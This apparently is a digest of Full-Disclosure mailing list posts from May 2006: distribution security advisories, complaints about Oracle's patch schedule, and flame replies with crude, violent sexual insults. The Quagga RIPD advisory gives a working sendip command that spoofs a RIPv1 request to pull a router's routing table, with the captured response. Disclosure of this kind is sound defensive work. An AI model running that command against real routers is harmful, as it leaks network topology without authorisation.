Re: [Full-disclosure] MSIE (mshtml.dll) OBJECT tag vulnerability
CERT has more leaks than a whore who has been anally fucked with a loaded shotgun. On Mon, 01 May 2006 12:31:50 -0700 [EMAIL PROTECTED] wrote: On Mon, 01 May 2006 14:51:23 EDT, Tim Bilbro said: Some have suggested a 'Vulnerability Escrow' A third party that tracks and holds vulnerability discoveries and works with the vendor. I think that is an idea worth exploring. http://www.cert.org/reporting/vulnerability_form.txt BTDT. Concerned about your privacy? Instantly send FREE secure email, no account required http://www.hushmail.com/send?l=480 Get the best prices on SSL certificates from Hushmail https://www.hushssl.com?l=485 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [SECURITY] [DSA 1049-1] New Ethereal packages fix several vulnerabilities
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - -- Debian Security Advisory DSA 1049-1[EMAIL PROTECTED] http://www.debian.org/security/ Martin Schulze May 2nd, 2006 http://www.debian.org/security/faq - -- Package: ethereal Vulnerability : several Problem type : remote Debian-specific: no CVE IDs: CVE-2006-1932 CVE-2006-1933 CVE-2006-1934 CVE-2006-1935 CVE-2006-1936 CVE-2006-1937 CVE-2006-1938 CVE-2006-1939 CVE-2006-1940 BugTraq ID : 17682 Gerald Combs reported several vulnerabilities in ethereal, a popular network traffic analyser. The Common Vulnerabilities and Exposures project identifies the following problems: CVE-2006-1932 The OID printing routine is susceptible to an off-by-one error. CVE-2006-1933 The UMA and BER dissectors could go into an infinite loop. CVE-2006-1934 The Network Instruments file code could overrun a buffer. CVE-2006-1935 The COPS dissector contains a potential buffer overflow. CVE-2006-1936 The telnet dissector contains a buffer overflow. CVE-2006-1937 Bugs in the SRVLOC and AIM dissector, and in the statistics counter could crash ethereal. CVE-2006-1938 Null pointer dereferences in the SMB PIPE dissector and when reading a malformed Sniffer capture could crash ethereal. CVE-2006-1939 Null pointer dereferences in the ASN.1, GSM SMS, RPC and ASN.1-based dissector and an invalid display filter could crash ethereal. CVE-2006-1940 The SNDCP dissector could cause an unintended abortion. For the old stable distribution (woody) these problems have been fixed in version 0.9.4-1woody15. For the stable distribution (sarge) these problems have been fixed in version 0.10.10-2sarge5. For the unstable distribution (sid) these problems have be fixed soon. We recommend that you upgrade your ethereal packages. Upgrade Instructions - wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given below: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian GNU/Linux 3.0 alias woody - Source archives: http://security.debian.org/pool/updates/main/e/ethereal/ethereal_0.9.4-1woody15.dsc Size/MD5 checksum: 683 f5bff4550f2712706891be0b33a5c319 http://security.debian.org/pool/updates/main/e/ethereal/ethereal_0.9.4-1woody15.diff.gz Size/MD5 checksum:47029 aa2c792d7c10aeb0afddace8dbcc3142 http://security.debian.org/pool/updates/main/e/ethereal/ethereal_0.9.4.orig.tar.gz Size/MD5 checksum: 3278908 42e999daa659820ee9339ea1e9ea Alpha architecture: http://security.debian.org/pool/updates/main/e/ethereal/ethereal_0.9.4-1woody15_alpha.deb Size/MD5 checksum: 1941176 c0bd9e770bd04be7e2ff5ea6cb2b0fa5 http://security.debian.org/pool/updates/main/e/ethereal/ethereal-common_0.9.4-1woody15_alpha.deb Size/MD5 checksum: 335152 95a1b229d7a6e79543194b82aff29c30 http://security.debian.org/pool/updates/main/e/ethereal/ethereal-dev_0.9.4-1woody15_alpha.deb Size/MD5 checksum: 223422 54df193d5c200311f8f9276090036195 http://security.debian.org/pool/updates/main/e/ethereal/tethereal_0.9.4-1woody15_alpha.deb Size/MD5 checksum: 1708640 ab25aa5e1fee8e278f9c425829615309 ARM architecture: http://security.debian.org/pool/updates/main/e/ethereal/ethereal_0.9.4-1woody15_arm.deb Size/MD5 checksum: 1636176 f82c9584151a33eef1b3693b8e67a631 http://security.debian.org/pool/updates/main/e/ethereal/ethereal-common_0.9.4-1woody15_arm.deb Size/MD5 checksum: 298738 421896ca7bd894b16420225f25248690 http://security.debian.org/pool/updates/main/e/ethereal/ethereal-dev_0.9.4-1woody15_arm.deb Size/MD5 checksum: 207324 4427bba0d6eec28709ece4d090f4fbf5 http://security.debian.org/pool/updates/main/e/ethereal/tethereal_0.9.4-1woody15_arm.deb Size/MD5 checksum: 1440192 c26ae759afa2a89790e199ce3e1abfed Intel IA-32 architecture: http://security.debian.org/pool/updates/main/e/ethereal/ethereal_0.9.4-1woody15_i386.deb Size/MD5 checksum: 1513692 0ea6ae18aad890b75e52e2033a8d7272 http://security.debian.org/pool/updates/main/e/ethereal/ethereal-common_0.9.4-1woody15_i386.deb Size/MD5 checksum: 287672 4a3da72b1f31bc66629cdf55ee1ea515 http://security.debian.org/pool/updates/main/e/ethereal/ethereal-dev_0.9.4-1woody15_i386.deb Size/MD5 checksum: 199334
Re: [Full-disclosure] MSIE (mshtml.dll) OBJECT tag vulnerability
Gee All this fornication under the command of the king is turning violent. I don't think the King would approve [EMAIL PROTECTED] wrote: CERT has more leaks than a whore who has been anally fucked with a loaded shotgun. On Mon, 01 May 2006 12:31:50 -0700 [EMAIL PROTECTED] wrote: On Mon, 01 May 2006 14:51:23 EDT, Tim Bilbro said: Some have suggested a 'Vulnerability Escrow' A third party that tracks and holds vulnerability discoveries and works with the vendor. I think that is an idea worth exploring. http://www.cert.org/reporting/vulnerability_form.txt BTDT. Concerned about your privacy? Instantly send FREE secure email, no account required http://www.hushmail.com/send?l=480 Get the best prices on SSL certificates from Hushmail https://www.hushssl.com?l=485 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Oracle, where are the patches???
A regular patch release cycle is a good thing. It allows system administrators to plan ahead and minimize server downtime. If I, as a system administrator, know that on the 18th of April 2006 a critical patch is going to be released I'll plan to stay late at work that night and start the assessment of the patch before I install it. All going well, I can install the patch and reboot the server all with a minimum amount of downtime. This should happen once a month or once a quarter - whatever interval my vendor has chosen. That's what good regular patches allow me to do. The benefits are absolutely clear. There are two major problems that can cause these benefits to evaporate into thin air, however. These are 1) Late Patches - If patches aren't delivered on the day they were supposed to be, then all my planning ahead has gone to waste and a new plan needs to be scheduled. 2) Re-issued Patches - If a vendor has to reissue a patch then I have to reinstall it - which costs me more money and more server downtime. The more times the patch is re-issued the more it eats into my budget. Since starting its regular quarterly patch release cycle Oracle has been guilty of both. Most recently, Oracle informed us that on the 18th of April 2006 that Critical Patch Update would be released. This date had been planned for over a year so why, on that date, were patches not ready for versions 10.2.0.2, 10.1.0.4, 10.1.0.3, 9.2.0.5, 8.1.7.4 and only partial patches for 10.1.0.5? Further, patches were only available for versions 9.2.0.7, 9.2.0.6 and 10.2.0.1 which means patches are available for only 33% of their supported versions - what about the poor people running the other 66%? These 66% were told that their patches would be available on the 1st of May 2006. In all fairness, the 1st of May was an Estimated Time of Arrival - but boy - was that estimate way off! The ETA has now been revised to the 15th of May - a whole month after the supposed patch release day. What about Oracle's track record on patch re-issuance? Let's look - the January 2006 critical patch update was re-issued seven times, the October 2005 CPU three times and the July 2005 CPU was re-issued nine times. The story is the same for earlier CPUs. Mary, Mary, quite contrary to what you'd have us believe about Oracle's security track record, it's not looking too good from my view. Cheers, David Litchfield NGSSoftware Ltd http://www.ngssoftware.com/ +44 (0) 208 401 0070 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [ GLSA 200605-02 ] X.Org: Buffer overflow in XRender extension
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200605-02 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: High Title: X.Org: Buffer overflow in XRender extension Date: May 02, 2006 Bugs: #130979 ID: 200605-02 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis A buffer overflow in the XRender extension potentially allows any X.Org user to execute arbitrary code with elevated privileges. Background == X.Org is X.Org Foundation's public implementation of the X Window System. Affected packages = --- Package/ Vulnerable /Unaffected --- 1 x11-base/xorg-x11 6.8.2-r7 = 6.8.2-r7 Description === X.Org miscalculates the size of a buffer in the XRender extension. Impact == An X.Org user could exploit this issue to make the X server execute arbitrary code with elevated privileges. Workaround == There is no known workaround at this time. Resolution == All X.Org users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose =x11-base/xorg-x11-6.8.2-r7 References == [ 1 ] CVE-2006-1526 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1526 Availability This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200605-02.xml Concerns? = Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to [EMAIL PROTECTED] or alternatively, you may file a bug at http://bugs.gentoo.org. License === Copyright 2006 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 pgpWAhdNFMym3.pgp Description: PGP signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [ GLSA 200605-03 ] ClamAV: Buffer overflow in Freshclam
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200605-03 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: ClamAV: Buffer overflow in Freshclam Date: May 02, 2006 Bugs: #131791 ID: 200605-03 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis Freshclam is vulnerable to a buffer overflow that could lead to execution of arbitrary code. Background == ClamAV is a GPL virus scanner. Freshclam is a utility to download virus signature updates. Affected packages = --- Package / Vulnerable / Unaffected --- 1 app-antivirus/clamav 0.88.2 = 0.88.2 Description === Ulf Harnhammar and an anonymous German researcher discovered that Freshclam fails to check the size of the header data returned by a webserver. Impact == By enticing a user to connect to a malicious webserver an attacker could cause the execution of arbitrary code. Workaround == There is no known workaround at this time. Resolution == All ClamAV users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose =app-antivirus/clamav-0.88.2 References == [ 1 ] CVE-2006-1989 http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1989 Availability This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200605-03.xml Concerns? = Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to [EMAIL PROTECTED] or alternatively, you may file a bug at http://bugs.gentoo.org. License === Copyright 2006 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 pgpfzNsv5TRPD.pgp Description: PGP signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [ GLSA 200605-04 ] phpWebSite: Local file inclusion
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200605-04 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: phpWebSite: Local file inclusion Date: May 02, 2006 Bugs: #130295 ID: 200605-04 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis Remote attackers can include local files which may lead to the execution of arbitrary code. Background == phpWebSite provides a complete web site content management system. Affected packages = --- Package / Vulnerable / Unaffected --- 1 www-apps/phpwebsite 0.10.2 = 0.10.2 Description === rgod has reported that the hub_dir parameter in index.php isn't properly verified. When magic_quotes_gpc is disabled, this can be exploited to include arbitrary files from local ressources. Impact == If magic_quotes_gpc is disabled, which is not the default on Gentoo Linux, a remote attacker could exploit this issue to include and execute PHP scripts from local ressources with the rights of the user running the web server, or to disclose sensitive information and potentially compromise a vulnerable system. Workaround == There is no known workaround at this time. Resolution == All phpWebSite users should upgrade to the latest available version: # emerge --sync # emerge --ask --oneshot --verbose =www-apps/phpwebsite-0.10.2 References == [ 1 ] CVE-2006-1819 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1819 Availability This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200605-04.xml Concerns? = Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to [EMAIL PROTECTED] or alternatively, you may file a bug at http://bugs.gentoo.org. License === Copyright 2006 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 pgp3fehBLLsLm.pgp Description: PGP signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Hola Distro Help me
en español mi idioma --- Suplico su ayuda ¿Como crear mi propia distribucion basada en fedora? Auxilio, se que se puede modificar, pero como. Perdonen mi ignorancia. Pero les agradezco me den informacion. Gracias. --- en ingles --- :( -- I need your help How can I create my own distribution based on fedora? Aid, that it is possible to be modified, but how? Pardon my ignorance. But I am thankful to them give information me. Thanks. jejejeje, bye. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Hola Distro Help me
en espanol mi idioma --- Suplico su ayuda Como crear mi propia distribucion basada en fedora? Auxilio, se que se puede modificar, pero como.Perdonen mi ignorancia.Pero les agradezco me den informacion.Gracias.--- en ingles --- :( --I need your help How can I create my own distribution based on fedora?Aid, that it is possible to be modified, but how?Pardon my ignorance.But I am thankful to them give information me.Thanks.jejejeje, bye. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] RE: Oracle, where are the patches???
David, You are right. I have only a few things to add. 1.) In the April CPU 2006 patches for 9.2.0.7, Oracle forgot to sanitize a parameter in one of the SDO packages. Oracle sanitized one parameter twice (Copy/Paste-Error). Oracle assigned a new bug number (7520291) for this issue. == Such bugs are a indication of a bad Q/A. 2.) 2 weeks ago I found a way to bypass dbms_assert in many cases. Oracle is already informed. This means that many Oracle packages are vulnerable again and the bugfixes against SQL Injection are often useless. I hope Oracle will fix most of the bugs until end of 2008. Here my quote of the day... http://www.computerweekly.com/Articles/2006/05/02/215721/Exploitedflawtr acedasfarbackasOracle8.htm [...] Oracle said that since its critical patch update is tested across product suites, the company is limited in the number of fixes it can include. [...] Cheers Alexander Kornbrust Red-Database-Security GmbH http://www.red-database-security.com -Original Message- From: David Litchfield [mailto:[EMAIL PROTECTED] Sent: Tuesday, May 02, 2006 5:10 PM To: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk; [EMAIL PROTECTED] Subject: Oracle, where are the patches??? A regular patch release cycle is a good thing. It allows system administrators to plan ahead and minimize server downtime. If I, as a system administrator, know that on the 18th of April 2006 a critical patch is going to be released I'll plan to stay late at work that night and start the assessment of the patch before I install it. All going well, I can install the patch and reboot the server all with a minimum amount of downtime. This should happen once a month or once a quarter - whatever interval my vendor has chosen. That's what good regular patches allow me to do. The benefits are absolutely clear. There are two major problems that can cause these benefits to evaporate into thin air, however. These are 1) Late Patches - If patches aren't delivered on the day they were supposed to be, then all my planning ahead has gone to waste and a new plan needs to be scheduled. 2) Re-issued Patches - If a vendor has to reissue a patch then I have to reinstall it - which costs me more money and more server downtime. The more times the patch is re-issued the more it eats into my budget. Since starting its regular quarterly patch release cycle Oracle has been guilty of both. Most recently, Oracle informed us that on the 18th of April 2006 that Critical Patch Update would be released. This date had been planned for over a year so why, on that date, were patches not ready for versions 10.2.0.2, 10.1.0.4, 10.1.0.3, 9.2.0.5, 8.1.7.4 and only partial patches for 10.1.0.5? Further, patches were only available for versions 9.2.0.7, 9.2.0.6 and 10.2.0.1 which means patches are available for only 33% of their supported versions - what about the poor people running the other 66%? These 66% were told that their patches would be available on the 1st of May 2006. In all fairness, the 1st of May was an Estimated Time of Arrival - but boy - was that estimate way off! The ETA has now been revised to the 15th of May - a whole month after the supposed patch release day. What about Oracle's track record on patch re-issuance? Let's look - the January 2006 critical patch update was re-issued seven times, the October 2005 CPU three times and the July 2005 CPU was re-issued nine times. The story is the same for earlier CPUs. Mary, Mary, quite contrary to what you'd have us believe about Oracle's security track record, it's not looking too good from my view. Cheers, David Litchfield NGSSoftware Ltd http://www.ngssoftware.com/ +44 (0) 208 401 0070 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Hola Distro Help me
But I am thankful to them give information me. you suck ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Hola Distro Help me
jijiji estan re locos se creen muy inteligentes jeje Falta que se crean dioses ademas, me imagino que la lista es para ayudar no para contestar estupideces bytes2006/5/2, f y [EMAIL PROTECTED]: But I am thankful to them give information me. you suck ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Hola Distro Help me
Should you not be downtown NYC protesting or something? www.redhat.com is probably a better place to start than on here. But as the saying goes, if you have to ask -- you probably aren't smart enough to do. On Tue, 02 May 2006 12:31:41 -0700 Edgardo Zavala [EMAIL PROTECTED] wrote: en espanol mi idioma --- Suplico su ayuda Como crear mi propia distribucion basada en fedora? Auxilio, se que se puede modificar, pero como. Perdonen mi ignorancia. Pero les agradezco me den informacion. Gracias. --- en ingles --- :( -- I need your help How can I create my own distribution based on fedora? Aid, that it is possible to be modified, but how? Pardon my ignorance. But I am thankful to them give information me. Thanks. jejejeje, bye. Concerned about your privacy? Instantly send FREE secure email, no account required http://www.hushmail.com/send?l=480 Get the best prices on SSL certificates from Hushmail https://www.hushssl.com?l=485 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Heard of Scab 5 or Scab V for Hard Drive evidence elimination?
I had a client claim that an outside lab found that a subject of an investigation used Scab 5 or Scab V software to cover tracks on a windows machine. Anyone hear of this program? Frankly, I'm wondering if the non-tech person with whom I speaking, phonetically erred? Anyone? Thanks ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Hola Distro Help me
Dude, I'm Edgardo too, and yes you do suck. Try http://www.fedoraforum.org/ Laters! Edgardo On Tue, 2 May 2006, Edgardo Zavala wrote: jijiji estan re locos se creen muy inteligentes jeje Falta que se crean dioses ademas, me imagino que la lista es para ayudar no para contestar estupideces bytes 2006/5/2, f y [EMAIL PROTECTED]: But I am thankful to them give information me. you suck ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Hola Distro Help me
jajajaja buena broma has de ser gringo jiji realy and in serious I apologize to write so many stupid words here jijiEl día 2/05/06, 'FoR ReaLz' E. Balansay [EMAIL PROTECTED] escribió: Dude, I'm Edgardo too, and yes you do suck.Try http://www.fedoraforum.org/Laters!EdgardoOn Tue, 2 May 2006, Edgardo Zavala wrote: jijiji estan re locos se creen muy inteligentes jeje Falta que se crean dioses ademas, me imagino que la lista es para ayudar no para contestar estupideces bytes 2006/5/2, f y [EMAIL PROTECTED]:But I am thankful to them give information me. you suck ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [ MDKSA-2006:081 ] - Updated xorg-x11 packages fix vulnerability
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ___ Mandriva Linux Security Advisory MDKSA-2006:081 http://www.mandriva.com/security/ ___ Package : xorg-x11 Date: May 2, 2006 Affected: 10.2, 2006.0 ___ Problem Description: A problem was discovered in xorg-x11 where the X render extension would mis-calculate the size of a buffer, leading to an overflow that could possibly be exploited by clients of the X server. The updated packages have been patched to correct this issue. ___ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1526 ___ Updated Packages: Mandriva Linux 10.2: a2b8586e98837e2e1944c76fb57b9ab1 10.2/RPMS/libxorg-x11-6.8.2-7.3.102mdk.i586.rpm c40829d9ea0cfb5837019be1226c10be 10.2/RPMS/libxorg-x11-devel-6.8.2-7.3.102mdk.i586.rpm 1037572baf36062f474fc18d8ef3c479 10.2/RPMS/libxorg-x11-static-devel-6.8.2-7.3.102mdk.i586.rpm 04becfb293020cc4ff315a2ee0ebf32e 10.2/RPMS/X11R6-contrib-6.8.2-7.3.102mdk.i586.rpm 83ecbd5538b58e2e7b4b7ab1a275f232 10.2/RPMS/xorg-x11-100dpi-fonts-6.8.2-7.3.102mdk.i586.rpm 9a7d14442752f3bd569d238305e6b4c5 10.2/RPMS/xorg-x11-6.8.2-7.3.102mdk.i586.rpm f59d28b4ccb04597bcffaefd61beddab 10.2/RPMS/xorg-x11-75dpi-fonts-6.8.2-7.3.102mdk.i586.rpm e45d5e613005a56c083693ec06a0f42f 10.2/RPMS/xorg-x11-cyrillic-fonts-6.8.2-7.3.102mdk.i586.rpm 32f4a41dfb1160a15f00c79f6844497d 10.2/RPMS/xorg-x11-doc-6.8.2-7.3.102mdk.i586.rpm 2081fc6014b96ed43e2c7f3eff340598 10.2/RPMS/xorg-x11-glide-module-6.8.2-7.3.102mdk.i586.rpm 683ccfd056709341173fcfaca26d6093 10.2/RPMS/xorg-x11-server-6.8.2-7.3.102mdk.i586.rpm c43fdd380205248d49dd178239b330d8 10.2/RPMS/xorg-x11-xauth-6.8.2-7.3.102mdk.i586.rpm dd775264950082d89cdc54dcff3cd665 10.2/RPMS/xorg-x11-Xdmx-6.8.2-7.3.102mdk.i586.rpm 950dfe1df58de30e7a8978679365cf84 10.2/RPMS/xorg-x11-xfs-6.8.2-7.3.102mdk.i586.rpm ec3b5a7752b7a3ebf6512410582d9307 10.2/RPMS/xorg-x11-Xnest-6.8.2-7.3.102mdk.i586.rpm 36d85f3ec61acf906794f460964e81ef 10.2/RPMS/xorg-x11-Xprt-6.8.2-7.3.102mdk.i586.rpm 35d88a1d859606994dcf419b5368a4ab 10.2/RPMS/xorg-x11-Xvfb-6.8.2-7.3.102mdk.i586.rpm 9186fc96840016fc20e734fc7011db41 10.2/SRPMS/xorg-x11-6.8.2-7.3.102mdk.src.rpm Mandriva Linux 10.2/X86_64: a780d4e331064a187377d4640d6c3f17 x86_64/10.2/RPMS/lib64xorg-x11-6.8.2-7.3.102mdk.x86_64.rpm 4a39ecfa5c3689418752402c38fa4cbf x86_64/10.2/RPMS/lib64xorg-x11-devel-6.8.2-7.3.102mdk.x86_64.rpm 7dc493ee280124d65485c371bde6d768 x86_64/10.2/RPMS/lib64xorg-x11-static-devel-6.8.2-7.3.102mdk.x86_64.rpm a2b8586e98837e2e1944c76fb57b9ab1 x86_64/10.2/RPMS/libxorg-x11-6.8.2-7.3.102mdk.i586.rpm c40829d9ea0cfb5837019be1226c10be x86_64/10.2/RPMS/libxorg-x11-devel-6.8.2-7.3.102mdk.i586.rpm 1037572baf36062f474fc18d8ef3c479 x86_64/10.2/RPMS/libxorg-x11-static-devel-6.8.2-7.3.102mdk.i586.rpm e6a02cb2c3c4d9d80d47a2bf897a5eaa x86_64/10.2/RPMS/X11R6-contrib-6.8.2-7.3.102mdk.x86_64.rpm a6b0f7a3f8fbc35be6b94d351d8d7504 x86_64/10.2/RPMS/xorg-x11-100dpi-fonts-6.8.2-7.3.102mdk.x86_64.rpm ba547a06e55cdd70665e1f6fa16a9f21 x86_64/10.2/RPMS/xorg-x11-6.8.2-7.3.102mdk.x86_64.rpm 69025794bb59e71f19e13b2f84c9e002 x86_64/10.2/RPMS/xorg-x11-75dpi-fonts-6.8.2-7.3.102mdk.x86_64.rpm 6aa05b3fad46e506f6c0cc5a5d6b16bd x86_64/10.2/RPMS/xorg-x11-cyrillic-fonts-6.8.2-7.3.102mdk.x86_64.rpm 47789a545c49c17eb831c01784b217ec x86_64/10.2/RPMS/xorg-x11-doc-6.8.2-7.3.102mdk.x86_64.rpm a2d447afd9360b7fc09450da3523b552 x86_64/10.2/RPMS/xorg-x11-server-6.8.2-7.3.102mdk.x86_64.rpm c0661878d727b5c2f0cfe689748923e2 x86_64/10.2/RPMS/xorg-x11-xauth-6.8.2-7.3.102mdk.x86_64.rpm 7d0b9c84fb5b83909e1dc59e8b7ee5e2 x86_64/10.2/RPMS/xorg-x11-Xdmx-6.8.2-7.3.102mdk.x86_64.rpm 60f4063de8adafcf691ef0d4627dac95 x86_64/10.2/RPMS/xorg-x11-xfs-6.8.2-7.3.102mdk.x86_64.rpm 30612f88bb7a2a2c97a625006b8b7f8f x86_64/10.2/RPMS/xorg-x11-Xnest-6.8.2-7.3.102mdk.x86_64.rpm 6a3a87b3cf7f7a319e3d4718e157a9e8 x86_64/10.2/RPMS/xorg-x11-Xprt-6.8.2-7.3.102mdk.x86_64.rpm ee2d660c48449e901d51d24fa220919d x86_64/10.2/RPMS/xorg-x11-Xvfb-6.8.2-7.3.102mdk.x86_64.rpm 9186fc96840016fc20e734fc7011db41 x86_64/10.2/SRPMS/xorg-x11-6.8.2-7.3.102mdk.src.rpm Mandriva Linux 2006.0: 1f422d4db438f8af71d37be16aa31dd8 2006.0/RPMS/libxorg-x11-6.9.0-5.5.20060mdk.i586.rpm 567fe8719887e0018da7c0c931b006be 2006.0/RPMS/libxorg-x11-devel-6.9.0-5.5.20060mdk.i586.rpm bc6948084d15e2db685570435e6c578f 2006.0/RPMS/libxorg-x11-static-devel-6.9.0-5.5.20060mdk.i586.rpm b0caee00bf81ead022e6ba43e936b3e4 2006.0/RPMS/X11R6-contrib-6.9.0-5.5.20060mdk.i586.rpm bf84187d9c8c1359addc677d06f75bb0
[Full-disclosure] Quagga RIPD unauthenticated route table broadcast
Arhont Ltd - Information Security Advisory by:Konstantin V. Gavrilenko (http://www.arhont.com) Arhont ref: arh200604-1 Advisory: Quagga RIPD unauthenticated route table broadcast Class: design bug? Version:Tested on Quagga suite v0.98.5 v0.99.3(Gentoo, 2.6.15) Model Specific: Other versions might have the same bug DETAILS Quagga would respond to RIP v1 request for SEND UPDATE and send out the routing table updates, even if it has been configured to work with version 2 of the protocol only, using the following settings in the config file: interface eth0 ip rip send version 2 ip rip receive version 2 ! router rip version 2 Sending a request for update: arhontus / # sendip -p ipv4 -is 192.168.66.102 -p udp -us 520 -ud 520 -p rip -rv 1 -rc 1 -re 0:0:0:0:0:16 192.168.66.111 Catching response on the attacker host: arhontus / # tcpdump -n -i eth0 port 520 22:10:02.532103 IP 192.168.66.102.520 192.168.66.111.520: RIPv1, Request, length: 24 22:10:02.532474 IP 192.168.66.111.520 192.168.66.102.520: RIPv1, Response, length: 64 Tethereal extract from the response RIP packet: Routing Information Protocol Command: Response (2) Version: RIPv1 (1) IP Address: 0.0.0.0, Metric: 1 Address Family: IP (2) IP Address: 0.0.0.0 (0.0.0.0) Metric: 1 IP Address: 192.168.50.24, Metric: 1 Address Family: IP (2) IP Address: 192.168.50.24 (192.168.50.24) Metric: 1 IP Address: 192.168.77.0, Metric: 1 Address Family: IP (2) IP Address: 192.168.77.0 (192.168.77.0) Metric: 1 The same situation is observed if Quagga has been configured to accept packets with plaintext or md5 authentication only, using the following options in the configuration: interface eth0 ip rip authentication mode md5 auth-length old-ripd ip rip authentication key-chain dmz_auth The response packet contains the same information as in previous example. This vulnerability can be exploited to extract the routing table information from the router otherwise inaccessible due to strict control of the multicast packets spread on the switch ports, or extremely large interval set between updates. RISK FACTOR: Low WORKAROUNDS: Firewall the access to the ripd daemon on the need to access basis. COMMUNICATION HISTORY: Issue discovered: 10/04/2006 Quagga notified: 24/04/2006 Public disclosure:03/05/2006 ADDITIONAL INFORMATION: *According to the Arhont Ltd. policy, all of the found vulnerabilities and security issues will be reported to the manufacturer at least 7 days before releasing them to the public domains (such as CERT and BUGTRAQ). If you would like to get more information about this issue, please do not hesitate to contact Arhont team on [EMAIL PROTECTED] -- Respectfully, Konstantin V. Gavrilenko Managing Director Arhont Ltd - Information Security web:http://www.arhont.com http://www.wi-foo.com e-mail: [EMAIL PROTECTED] tel: +44 (0) 870 44 31337 fax: +44 (0) 117 969 0141 PGP: Key ID - 0xE81824F4 PGP: Server - keyserver.pgp.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Quagga RIPD unauthenticated route injection
